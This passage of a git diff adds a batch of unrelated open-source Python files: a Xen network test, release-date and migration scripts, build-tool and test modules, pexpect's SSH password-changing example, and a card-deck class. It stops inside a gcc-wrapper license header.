Temple Place, Suite 330, Boston, MA 02111-1307 USA +#============================================================================ +# Copyright (C) 2009 flonatel GmbH & Co. KG +#============================================================================ +# +# Author: Andreas Florath +# Loosly based on the original testcase from +# Tom Wilkie +# +# This test case creates two guest systems, creates a (very) private +# network between them and attaches the ethernet apropriate. +# Note: in this test case there are some fixed IP and network +# addresses used. This is not a problem, because those are really +# used only for local communication. +# + +import sys +import time + +from XmTestLib import * +from XmTestLib.network_utils import * +from XmTestLib.XenAPIDomain import XmTestAPIDomain + +# Some config for this testcase +class TCConfig: + network_name = "xapi-network-xm-test-03" + + ip_addr_1 = "172.16.77.70" + ip_addr_2 = "172.16.77.71" + default_gateway = "172.16.77.72" + default_netmask = "255.255.255.0" + + @staticmethod + def remove_network(guest): + nw = guest.session.xenapi.network.get_all() + for n in nw: + name = guest.session.xenapi.network.get_name_label(n) + if name == TCConfig.network_name: + guest.session.xenapi.network.destroy(n) + + +# Create two domains (default XmTestDomain, with our ramdisk) +try: + guest1 = XmTestAPIDomain() + console1 = guest1.start() +# guest1.newDevice(XenNetDevice, "eth0") +# guest1_netdev = guest1.getDevice("eth0") + guest2 = XmTestAPIDomain() + console2 = guest2.start() +except DomainError, e: + if verbose: + print("Failed to create test domain because: %s" % e.extra) + FAIL(str(e)) + +# Clean up relicts +TCConfig.remove_network(guest1) + +# Create a network +network = guest1.session.xenapi.network.create( + { "name_label": TCConfig.network_name, + "name_description": "This is a testing network", + "default_gateway": TCConfig.default_gateway, + "default_netmask": TCConfig.default_netmask, + "other_config": {} } ) + +# Attach two domains to it +status, msg = network_attach( + guest1.getName(), console1, bridge=TCConfig.network_name) +if status: + FAIL(msg) + +status, msg = network_attach( + guest2.getName(), console2, bridge=TCConfig.network_name) +if status: + FAIL(msg) + +# Configure IP addresses on two guests +try: + run = console1.runCmd( + "ifconfig eth0 " + TCConfig.ip_addr_1 + + " netmask " + TCConfig.default_netmask + " up") + run = console2.runCmd( + "ifconfig eth0 " + TCConfig.ip_addr_2 + + " netmask " + TCConfig.default_netmask + " up") +except ConsoleError, e: + saveLog(console.getHistory()) + FAIL(str(e)) + +# Now ping... +try: + run = console1.runCmd("ping -c 4 " + TCConfig.ip_addr_2) + if run['return'] > 0: + FAIL("Could not ping other host") + run = console2.runCmd("ping -c 4 " + TCConfig.ip_addr_1) + if run['return'] > 0: + FAIL("Could not pint other host") +except ConsoleError, e: + saveLog(console.getHistory()) + FAIL(str(e)) + +status, msg = network_detach(guest1.getName(), console1) +status, msg = network_detach(guest2.getName(), console2) + +# Clean up +TCConfig.remove_network(guest1) +guest1.closeConsole() +guest1.stop() +guest2.closeConsole() +guest2.stop() + diff --git a/pool/shard008/Python/0076858_expirations-releases.py b/pool/shard008/Python/0076858_expirations-releases.py new file mode 100644 index 0000000000000000000000000000000000000000..34b4608c53145dc7c829d76cad86a53aaefcdfb5 --- /dev/null +++ b/pool/shard008/Python/0076858_expirations-releases.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python +# -*- coding: UTF-8 -*- + +# Copyright (c) 2016-2017 Matt Nordhoff +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +""" +./expirations-releases.py firefox-expiration.csv firefox-releases.csv >firefox-expiration-release-dates.csv +./expirations-releases.py firefox-esr-expiration.csv firefox-esr-releases.csv >firefox-esr-expiration-release-dates.csv +./expirations-releases.py firefox-esr-expiration.csv firefox-esr38-releases.csv >firefox-esr38-expiration-release-dates.csv +./expirations-releases.py firefox-esr-expiration.csv firefox-esr45-releases.csv >firefox-esr45-expiration-release-dates.csv +./expirations-releases.py firefox-esr-expiration.csv firefox-esr52-releases.csv >firefox-esr52-expiration-release-dates.csv +./expirations-releases.py tor-browser-expiration.csv tor-browser-releases.csv >tor-browser-expiration-release-dates.csv +./expirations-releases.py tor-browser-expiration.csv tor-browser-alpha-releases.csv >tor-browser-alpha-expiration-release-dates.csv +./expirations-releases.py tor-browser-expiration.csv tor-browser-stable-releases.csv >tor-browser-stable-expiration-release-dates.csv +""" + +from __future__ import division + +import csv +import datetime +import itertools +import os +import sys + +def main(): + fh_expirations = open(sys.argv[1], 'rb') + fh_releases = open(sys.argv[2], 'rb') + c_expirations = csv.DictReader(fh_expirations) + c_releases = csv.DictReader(fh_releases) + c_out = csv.writer(sys.stdout, lineterminator=os.linesep) + write_row = [ + 'version', 'release_date', 'expiration_date', 'expiration_days', + 'previous_expiration_days', 'previous_release_days' + ] + if 'firefox_version' in c_releases.fieldnames: + write_row.append('firefox_version') + c_out.writerow(write_row) + expirations = {} + for row in c_expirations: + version = row['version'] + expiration_s = row['expiration_s'] + expirations[version] = expiration_s + previous_expiration_datetime = previous_release_datetime = None + for row in c_releases: + version = row['version'] + if 'firefox_version' in c_releases.fieldnames: + firefox_version = row['firefox_version'] + release_date = row['date'] + expiration_datetime = datetime.datetime.utcfromtimestamp(float(expirations[version])) + expiration_date = expiration_datetime.strftime('%Y-%m-%d') + release_datetime = datetime.datetime.strptime(release_date, '%Y-%m-%d') + expiration_window_timedelta = expiration_datetime - release_datetime + expiration_window_s = expiration_window_timedelta.total_seconds() / 86400 + expiration_window_days = '{:.2f}'.format(expiration_window_s) + if previous_expiration_datetime is None: + expiration_previous_window_days = release_window_days = 'none' + else: + expiration_previous_window_timedelta = previous_expiration_datetime - release_datetime + expiration_previous_window_s = expiration_previous_window_timedelta.total_seconds() / 86400 + expiration_previous_window_days = '{:.2f}'.format(expiration_previous_window_s) + release_window_timedelta = release_datetime - previous_release_datetime + release_window_s = release_window_timedelta.total_seconds() / 86400 + release_window_days = '{:.2f}'.format(release_window_s) + write_row = [ + version, release_date, expiration_date, expiration_window_days, + expiration_previous_window_days, release_window_days + ] + if 'firefox_version' in c_releases.fieldnames: + write_row.append(firefox_version) + c_out.writerow(write_row) + previous_expiration_datetime = expiration_datetime + previous_release_datetime = release_datetime + fh_expirations.close() + fh_releases.close() + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076861_d1653e552ab_add_packet.py b/pool/shard008/Python/0076861_d1653e552ab_add_packet.py new file mode 100644 index 0000000000000000000000000000000000000000..ae35e73df68d393841917a09f6249ff4afb720c6 --- /dev/null +++ b/pool/shard008/Python/0076861_d1653e552ab_add_packet.py @@ -0,0 +1,28 @@ +"""add packet + +Revision ID: d1653e552ab +Revises: 2abf47f3721a +Create Date: 2018-07-18 09:59:42.347777 + +""" + +# revision identifiers, used by Alembic. +revision = 'd1653e552ab' +down_revision = '2abf47f3721a' + +import sqlalchemy as sa +from alembic import op + + +def upgrade(): + try: + + op.add_column('IrradiationPositionTbl', + sa.Column('packet', sa.String(32))) + + except BaseException: + pass + + +def downgrade(): + op.drop_column('IrradiationPositionTbl', 'packet') \ No newline at end of file diff --git a/pool/shard008/Python/0076873_stub_flash.py b/pool/shard008/Python/0076873_stub_flash.py new file mode 100644 index 0000000000000000000000000000000000000000..ad679b0dd745cff727601a53bb4e895f058f2dfc --- /dev/null +++ b/pool/shard008/Python/0076873_stub_flash.py @@ -0,0 +1,20 @@ +import sys +from genStubs import * + +stub = Stubs( "flash", sys.argv[1], sys.argv[2] ) + +### Include Headers +stub.include( "stm32f4xx_flash.h" ) + +### Used Namespaces +stub.newline() + +stub.externC() +stub.stubFunction( ("void",), "FLASH_Unlock" ) +stub.stubFunction( ("void",), "FLASH_Lock" ) +stub.stubFunction( ("FLASH_Status", "FLASH_COMPLETE"), "FLASH_ProgramByte", "uint32_t", "uint8_t" ) +stub.stubFunction( ("FLASH_Status", "FLASH_COMPLETE"), "FLASH_ProgramWord", "uint32_t", "uint32_t" ) +stub.stubFunction( ("FLASH_Status", "FLASH_COMPLETE"), "FLASH_EraseSector", "uint32_t", "uint8_t" ) +stub.stubFunction( ("void",), "FLASH_ClearFlag", "uint32_t" ) + +stub.stubFunction( ("FlagStatus", "RESET"), "FLASH_OB_GetRDP" ) \ No newline at end of file diff --git a/pool/shard008/Python/0076875_passmass.py b/pool/shard008/Python/0076875_passmass.py new file mode 100644 index 0000000000000000000000000000000000000000..8f5e21d58bd76db3081f7dc02504f6a6c24219b0 --- /dev/null +++ b/pool/shard008/Python/0076875_passmass.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python + +'''Change passwords on the named machines. passmass host1 host2 host3 . . . +Note that login shell prompt on remote machine must end in # or $. + +PEXPECT LICENSE + + This license is approved by the OSI and FSF as GPL-compatible. + http://opensource.org/licenses/isc-license.txt + + Copyright (c) 2012, Noah Spurrier + PERMISSION TO USE, COPY, MODIFY, AND/OR DISTRIBUTE THIS SOFTWARE FOR ANY + PURPOSE WITH OR WITHOUT FEE IS HEREBY GRANTED, PROVIDED THAT THE ABOVE + COPYRIGHT NOTICE AND THIS PERMISSION NOTICE APPEAR IN ALL COPIES. + THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +''' + +from __future__ import print_function + +from __future__ import absolute_import + +import pexpect +import sys, getpass + + +try: + raw_input +except NameError: + raw_input = input + + +USAGE = '''passmass host1 host2 host3 . . .''' +COMMAND_PROMPT = '[$#] ' +TERMINAL_PROMPT = r'Terminal type\?' +TERMINAL_TYPE = 'vt100' +SSH_NEWKEY = r'Are you sure you want to continue connecting \(yes/no\)\?' + +def login(host, user, password): + + child = pexpect.spawn('ssh -l %s %s'%(user, host)) + fout = file ("LOG.TXT","wb") + child.setlog (fout) + + i = child.expect([pexpect.TIMEOUT, SSH_NEWKEY, '[Pp]assword: ']) + if i == 0: # Timeout + print('ERROR!') + print('SSH could not login. Here is what SSH said:') + print(child.before, child.after) + sys.exit (1) + if i == 1: # SSH does not have the public key. Just accept it. + child.sendline ('yes') + child.expect ('[Pp]assword: ') + child.sendline(password) + # Now we are either at the command prompt or + # the login process is asking for our terminal type. + i = child.expect (['Permission denied', TERMINAL_PROMPT, COMMAND_PROMPT]) + if i == 0: + print('Permission denied on host:', host) + sys.exit (1) + if i == 1: + child.sendline (TERMINAL_TYPE) + child.expect (COMMAND_PROMPT) + return child + +# (current) UNIX password: +def change_password(child, user, oldpassword, newpassword): + + child.sendline('passwd') + i = child.expect(['[Oo]ld [Pp]assword', '.current.*password', '[Nn]ew [Pp]assword']) + # Root does not require old password, so it gets to bypass the next step. + if i == 0 or i == 1: + child.sendline(oldpassword) + child.expect('[Nn]ew [Pp]assword') + child.sendline(newpassword) + i = child.expect(['[Nn]ew [Pp]assword', '[Rr]etype', '[Rr]e-enter']) + if i == 0: + print('Host did not like new password. Here is what it said...') + print(child.before) + child.send (chr(3)) # Ctrl-C + child.sendline('') # This should tell remote passwd command to quit. + return + child.sendline(newpassword) + +def main(): + + if len(sys.argv) <= 1: + print(USAGE) + return 1 + + user = raw_input('Username: ') + password = getpass.getpass('Current Password: ') + newpassword = getpass.getpass('New Password: ') + newpasswordconfirm = getpass.getpass('Confirm New Password: ') + if newpassword != newpasswordconfirm: + print('New Passwords do not match.') + return 1 + + for host in sys.argv[1:]: + child = login(host, user, password) + if child == None: + print('Could not login to host:', host) + continue + print('Changing password on host:', host) + change_password(child, user, password, newpassword) + child.expect(COMMAND_PROMPT) + child.sendline('exit') + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076876_g77.py b/pool/shard008/Python/0076876_g77.py new file mode 100644 index 0000000000000000000000000000000000000000..e09cf16f409e0843c77753653adca2870cf0e065 --- /dev/null +++ b/pool/shard008/Python/0076876_g77.py @@ -0,0 +1,73 @@ +"""engine.SCons.Tool.g77 + +Tool-specific initialization for g77. + +There normally shouldn't be any need to import this module directly. +It will usually be imported through the generic SCons.Tool.Tool() +selection method. + +""" + +# +# Copyright (c) 2001 - 2015 The SCons Foundation +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be included +# in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY +# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# + +__revision__ = "src/engine/SCons/Tool/g77.py rel_2.4.0:3365:9259ea1c13d7 2015/09/21 14:03:43 bdbaddog" + +import SCons.Util +from SCons.Tool.FortranCommon import add_all_to_env, add_f77_to_env + +compilers = ['g77', 'f77'] + +def generate(env): + """Add Builders and construction variables for g77 to an Environment.""" + add_all_to_env(env) + add_f77_to_env(env) + + fcomp = env.Detect(compilers) or 'g77' + if env['PLATFORM'] in ['cygwin', 'win32']: + env['SHFORTRANFLAGS'] = SCons.Util.CLVar('$FORTRANFLAGS') + env['SHF77FLAGS'] = SCons.Util.CLVar('$F77FLAGS') + else: + env['SHFORTRANFLAGS'] = SCons.Util.CLVar('$FORTRANFLAGS -fPIC') + env['SHF77FLAGS'] = SCons.Util.CLVar('$F77FLAGS -fPIC') + + env['FORTRAN'] = fcomp + env['SHFORTRAN'] = '$FORTRAN' + + env['F77'] = fcomp + env['SHF77'] = '$F77' + + env['INCFORTRANPREFIX'] = "-I" + env['INCFORTRANSUFFIX'] = "" + + env['INCF77PREFIX'] = "-I" + env['INCF77SUFFIX'] = "" + +def exists(env): + return env.Detect(compilers) + +# Local Variables: +# tab-width:4 +# indent-tabs-mode:nil +# End: +# vim: set expandtab tabstop=4 shiftwidth=4: diff --git a/pool/shard008/Python/0076877_test_runner.py b/pool/shard008/Python/0076877_test_runner.py new file mode 100644 index 0000000000000000000000000000000000000000..df9a1121b9ca47d540247eaa3f3f6532855010e0 --- /dev/null +++ b/pool/shard008/Python/0076877_test_runner.py @@ -0,0 +1,104 @@ +from argparse import ArgumentParser + +from ..plugins.runner import BaseTestRunner +from ..testing import unittest +from .compat import mock + + +class TestBaseTestRunner(unittest.TestCase): + + @mock.patch('warnings.filterwarnings') + @mock.patch('warnings.simplefilter') + @mock.patch('warnings.catch_warnings') + def test_run_tests_no_warning_capture(self, catch_warnings, simplefilter, + filterwarnings): + # Given + + def test(result): + self.test_result = result + self.test_result = None + result_collector = mock.Mock() + test_runner = BaseTestRunner() + + # When + test_runner.run(result_collector, test) + + # Then + self.assertIs(self.test_result, result_collector) + result_collector.startTestRun.assert_called_once_with() + result_collector.stopTestRun.assert_called_once_with() + + catch_warnings.assert_called_once_with() + self.assertFalse(simplefilter.called) + self.assertFalse(filterwarnings.called) + + @mock.patch('warnings.filterwarnings') + @mock.patch('warnings.simplefilter') + @mock.patch('warnings.catch_warnings') + def test_run_tests_ignore_warnings(self, catch_warnings, simplefilter, + filterwarnings): + # Given + + def test(result): + self.test_result = result + self.test_result = None + result_collector = mock.Mock() + test_runner = BaseTestRunner(warnings='ignore') + + # When + test_runner.run(result_collector, test) + + # Then + self.assertIs(self.test_result, result_collector) + result_collector.startTestRun.assert_called_once_with() + result_collector.stopTestRun.assert_called_once_with() + + catch_warnings.assert_called_once_with() + simplefilter.assert_called_once_with('ignore') + self.assertFalse(filterwarnings.called) + + @mock.patch('warnings.filterwarnings') + @mock.patch('warnings.simplefilter') + @mock.patch('warnings.catch_warnings') + def test_run_tests_always_warn(self, catch_warnings, simplefilter, + filterwarnings): + # Given + + def test(result): + self.test_result = result + self.test_result = None + result_collector = mock.Mock() + test_runner = BaseTestRunner(warnings='always') + + # When + test_runner.run(result_collector, test) + + # Then + self.assertIs(self.test_result, result_collector) + result_collector.startTestRun.assert_called_once_with() + result_collector.stopTestRun.assert_called_once_with() + + catch_warnings.assert_called_once_with() + simplefilter.assert_called_once_with('always') + filterwarnings.assert_called_once_with( + 'module', category=DeprecationWarning, + message=r'Please use assert\w+ instead.') + + def test_init_from_args(self): + # Given + parser = ArgumentParser() + BaseTestRunner.add_parser_arguments(parser, None, None) + + # When + args = parser.parse_args([]) + runner = BaseTestRunner.from_args(args, None) + + # Then + self.assertIsNone(runner.warnings) + + # When + args = parser.parse_args(["--warnings", "ignore"]) + runner = BaseTestRunner.from_args(args, None) + + # Then + self.assertEqual(runner.warnings, "ignore") diff --git a/pool/shard008/Python/0076878_sobject_copy_cmd.py b/pool/shard008/Python/0076878_sobject_copy_cmd.py new file mode 100644 index 0000000000000000000000000000000000000000..c898f9130da01fbacf5fc03376c6fa71a89d8ec0 --- /dev/null +++ b/pool/shard008/Python/0076878_sobject_copy_cmd.py @@ -0,0 +1,149 @@ +########################################################### +# +# Copyright (c) 2005, Southpaw Technology +# All Rights Reserved +# +# PROPRIETARY INFORMATION. This software is proprietary to +# Southpaw Technology, and is not to be reproduced, transmitted, +# or disclosed in any way without written permission. +# +# +# +__all__ = ['SObjectCopyCmd'] + +import tacticenv + +from pyasm.common import Common, Xml +from pyasm.web import Widget, WebContainer, WidgetException +from pyasm.command import Command, CommandException +from pyasm.search import Search, SearchType +from pyasm.biz import Snapshot, Clipboard +from pyasm.checkin import FileCheckin, CheckinException + +from pyasm.search import WidgetDbConfig + +import os + +class SObjectCopyCmd(Command): + + def execute(my): + + search_keys = my.kwargs.get("search_keys") + if search_keys: + sobjects = [] + for search_key in search_keys: + sobject = Search.get_by_search_key(search_key) + sobjects.append(sobject) + else: + source = my.kwargs.get("source") + if source == 'clipboard': + sobjects = Clipboard.get_selected() + + + dst_search_type = my.kwargs.get("dst_search_type") + + + + context = my.kwargs.get("context") + #if not context: + # context = "publish" + + for sobject in sobjects: + my.copy_sobject(sobject, dst_search_type, context) + + + def copy_sobject(my, sobject, dst_search_type, context=None): + + new_sobject = SearchType.create(dst_search_type) + search_type = SearchType.get(dst_search_type) + columns = SearchType.get_columns(dst_search_type) + + data = sobject.get_data() + for name, value in data.items(): + if name in ['id', 'code', 'pipeline_code']: + continue + + if name not in columns: + continue + + if not value: + continue + new_sobject.set_value(name, value) + + new_sobject.commit() + + + + # get all of the current snapshots and file paths associated + if not context: + snapshots = Snapshot.get_all_current_by_sobject(sobject) + else: + snapshots = [Snapshot.get_current_by_sobject(sobject, context)] + + if not snapshots: + return + + msgs = [] + for snapshot in snapshots: + #file_paths = snapshot.get_all_lib_paths() + file_paths_dict = snapshot.get_all_paths_dict() + file_types = file_paths_dict.keys() + if not file_types: + continue + + # make sure the paths match the file_types + file_paths = [file_paths_dict.get(x)[0] for x in file_types] + + mode = 'inplace' + + # checkin the files (inplace) + try: + context = snapshot.get_value('context') + checkin = FileCheckin(new_sobject, context=context, file_paths=file_paths, file_types=file_types, mode=mode) + checkin.execute() + + #print "done: ", context, new_sobject.get_related_sobjects("sthpw/snapshot") + except CheckinException, e: + msgs.append('Post-process Check-in Error for %s: %s ' %(context, e.__str__())) + + if msgs: + my.info['error'] = msgs + + + + +class SObjectReferenceCmd(Command): + + def execute(my): + + search_keys = my.kwargs.get("search_keys") + if search_keys: + sobjects = [] + for search_key in search_keys: + sobject = Search.get_by_search_key(search_key) + sobjects.append(sobject) + else: + source = my.kwargs.get("source") + if source == 'clipboard': + sobjects = Clipboard.get_selected() + + + dst_search_type = my.kwargs.get("dst_search_type") + + + + + + + + +if __name__ == '__main__': + from pyasm.security import Batch + from pyasm.biz import Project + Batch(project_code='simulation') + cmd = SObjectCopyCmd() + Command.execute_cmd(cmd) + + + + diff --git a/pool/shard008/Python/0076886_converter.py b/pool/shard008/Python/0076886_converter.py new file mode 100644 index 0000000000000000000000000000000000000000..1c1a0a5734cb6fa846b030a840db4914546c256a --- /dev/null +++ b/pool/shard008/Python/0076886_converter.py @@ -0,0 +1,84 @@ +#!/usr/bin/python +# +# Copyright 2018-2021 Polyaxon, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from typing import Any, Dict, Iterable, Optional + +from kubernetes import client as k8s_client + +from polyaxon.auxiliaries import V1PolyaxonInitContainer, V1PolyaxonSidecarContainer +from polyaxon.exceptions import PolyaxonCompilerError +from polyaxon.polyflow import V1CompiledOperation +from polyaxon.polypod.compiler.converters import CORE_CONVERTERS +from polyaxon.schemas.types import V1ConnectionType, V1K8sResourceType + + +def convert( + namespace: str, + owner_name: str, + project_name: str, + run_name: str, + run_uuid: str, + run_path: str, + compiled_operation: V1CompiledOperation, + artifacts_store: Optional[V1ConnectionType], + connection_by_names: Optional[Dict[str, V1ConnectionType]], + secrets: Optional[Iterable[V1K8sResourceType]], + config_maps: Optional[Iterable[V1K8sResourceType]], + polyaxon_sidecar: V1PolyaxonSidecarContainer = None, + polyaxon_init: V1PolyaxonInitContainer = None, + default_sa: str = None, + converters: Dict[str, Any] = CORE_CONVERTERS, + internal_auth: bool = False, + default_auth: bool = False, +) -> Dict: + if compiled_operation.has_pipeline: + raise PolyaxonCompilerError( + "Converter Error. " + "Specification with matrix/dag/schedule section is not supported in this function." + ) + + run_kind = compiled_operation.get_run_kind() + if run_kind not in converters: + raise PolyaxonCompilerError( + "Converter Error. " + "Specification with run kind: {} is not supported in this deployment version.".format( + run_kind + ) + ) + + converter = converters[run_kind]( + owner_name=owner_name, + project_name=project_name, + run_name=run_name, + run_uuid=run_uuid, + namespace=namespace, + polyaxon_init=polyaxon_init, + polyaxon_sidecar=polyaxon_sidecar, + internal_auth=internal_auth, + run_path=run_path, + ) + if converter: + resource = converter.get_resource( + compiled_operation=compiled_operation, + artifacts_store=artifacts_store, + connection_by_names=connection_by_names, + secrets=secrets, + config_maps=config_maps, + default_sa=default_sa, + default_auth=default_auth, + ) + api = k8s_client.ApiClient() + return api.sanitize_for_serialization(resource) diff --git a/pool/shard008/Python/0076888_cardDeck.py b/pool/shard008/Python/0076888_cardDeck.py new file mode 100644 index 0000000000000000000000000000000000000000..56e59a190e71e164d705810e2200cf6f4171fc69 --- /dev/null +++ b/pool/shard008/Python/0076888_cardDeck.py @@ -0,0 +1,34 @@ +__author__ = 'Rico' + +from lang.language import translation + + +class CardDeck: + symbols = ["♥", "♦", "♣", "♠"] + valueInt = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10] + + @staticmethod + def create_deck(): + from random import shuffle + deck = list(range(1, 52)) #TODO currently only one deck ... maybe i should add another one. + shuffle(deck) + return deck[:] + + def pick_one_card(self): + card = self.deck[0] + self.deck.pop(0) + return card + + def get_card_name(self, card): + symbol = self.symbols[card//13] + value = self.value_str[card % 13] + card_name = "|"+symbol+" "+value+"|" + return card_name + + def get_card_value(self, card): + return self.valueInt[card % 13] + + def __init__(self, lang_id): + self.deck = self.create_deck() + self.value_str = [translation("ace", lang_id), "2", "3", "4", "5", "6", "7", "8", "9", "10", + translation("jack", lang_id), translation("queen", lang_id), translation("king", lang_id)] diff --git a/pool/shard008/Python/0076890_test_twitter_api.py b/pool/shard008/Python/0076890_test_twitter_api.py new file mode 100644 index 0000000000000000000000000000000000000000..9f36e78b00cfc2f6894a9534637af8ba7f614914 --- /dev/null +++ b/pool/shard008/Python/0076890_test_twitter_api.py @@ -0,0 +1,91 @@ +# -*- coding:utf-8 -*- +try: + import unittest.mock as mock +except: + import mock +from six import string_types +import pytest +from ..scripts.twitter_api import call_twitter_api, extract_twitter_trends +from ..scripts.twitter_api import WOEID_US + +RESP_DATA = [{'words': 'words_value', + 'trends': [ + {'name': 'trend1', 'key2': 'value1'}, + {'name': 'trend2', 'key2': 'value2'}, + {'name': 'trend3', 'key2': 'value3'}, + {'name': 'trend4', 'key2': 'value4'}, + {'name': 'trend5', 'key2': 'value4'}, + {'name': 'trend6', 'key2': 'value4'}, + {'name': 'trend7', 'key2': 'value4'}, + {'name': 'trend8', 'key2': 'value4'}, + {'name': 'trend9', 'key2': 'value4'}, + {'name': 'trend10', 'key2': 'value4'}, + ] + }] + + +FINAL_OUTPUT = [u'trend1', u'trend2', u'trend3', u'trend4', u'trend5', + u'trend6', u'trend7', u'trend8', u'trend9', u'trend10' + ] + +BAD_WOEID = [None, 1111111111111111111111111111111, 0, 12345678, 'blahblah'] + + +@pytest.mark.parametrize("bad_woeid", BAD_WOEID) +def test_invalid_woeid(bad_woeid): + """Raise TweepError if Twitter location ID is invalid.""" + import twitter_tunes.scripts.twitter_api as tapi + from tweepy import TweepError + old_WOEID = tapi.WOEID_US + tapi.WOEID_US = bad_woeid + with pytest.raises(TweepError): + call_twitter_api() + tapi.WOEID_US = old_WOEID + + +def test_missing_key(): + """Raise ValueError if any keys or tokens are missing.""" + import twitter_tunes.scripts.twitter_api as tapi + old_key = tapi.consumerKey + tapi.consumerKey = None + with pytest.raises(ValueError): + call_twitter_api() + tapi.consumerKey = old_key + + +def test_no_response(mocker): + """Raise TweepError if Twitter is down.""" + from tweepy import TweepError + mocked_api = mocker.patch('tweepy.API') + mocked_method = mocked_api().trends_place + mocked_method.side_effect = TweepError("Failed to send request: %s' % e") + with pytest.raises(TweepError): + call_twitter_api() + + +def test_final_output(mocker): + """Test if length of our call_twitter_api list is as expected.""" + mocked_api = mocker.patch('tweepy.API') + mocked_method = mocked_api().trends_place + mocked_method.return_value = RESP_DATA + assert len(call_twitter_api()) == len(FINAL_OUTPUT) + + +def test_return_type(mocker): + """Test if returned trend list from Twitter API is a list of strings.""" + mocked_api = mocker.patch('tweepy.API') + mocked_method = mocked_api().trends_place + mocked_method.return_value = RESP_DATA + for trends in call_twitter_api(): + mocked_method.assert_called_once_with(WOEID_US) + for trend in trends: + assert isinstance(trend, string_types) + assert isinstance(trend, string_types) + + +def test_extract_trends(mocker): + """Test ability to extract only trend names from Twitter API response.""" + mocked_api = mocker.patch('tweepy.API') + mocked_method = mocked_api().trends_place + mocked_method.return_value = RESP_DATA + assert extract_twitter_trends(RESP_DATA) == FINAL_OUTPUT diff --git a/pool/shard008/Python/0076892_0008_canceled_membership.py b/pool/shard008/Python/0076892_0008_canceled_membership.py new file mode 100644 index 0000000000000000000000000000000000000000..4ce25ac8b972189c7dd7e24dcf901b4957754d7a --- /dev/null +++ b/pool/shard008/Python/0076892_0008_canceled_membership.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +# flake8: noqa +from __future__ import unicode_literals + +import os + +from django.conf import settings +from django.db import migrations + + +def functions_sql(): + sqlfile=os.path.join(settings.BASE_DIR, 'core/migrations/functions.sql') + with open(sqlfile) as f: + return f.read() + + +class Migration(migrations.Migration): + + dependencies = [ + ('ngw', '0007_event_end_date'), + ] + + operations = [ + migrations.RunSQL( + sql=functions_sql() + ), + migrations.RunSQL( + sql = 'UPDATE contact_in_group SET flags = (flags & (~7))<<1|(flags&7)' + ), + migrations.RunSQL( + sql = 'UPDATE group_manage_group SET flags = (flags & (~7))<<1|(flags&7)' + ), + ] diff --git a/pool/shard008/Python/0076896_gcc-wrapper.py b/pool/shard008/Python/0076896_gcc-wrapper.py new file mode 100644 index 0000000000000000000000000000000000000000..698a898e5ce697b0503c717288221204e7589b02 --- /dev/null +++ b/pool/shard008/Python/0076896_gcc-wrapper.py @@ -0,0 +1,97 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- + +# Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * Neither the name of The Linux Foundation nor +# the names of its contributors may be used to endorse or promote +# products derived from this software without specific prior written +# permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# 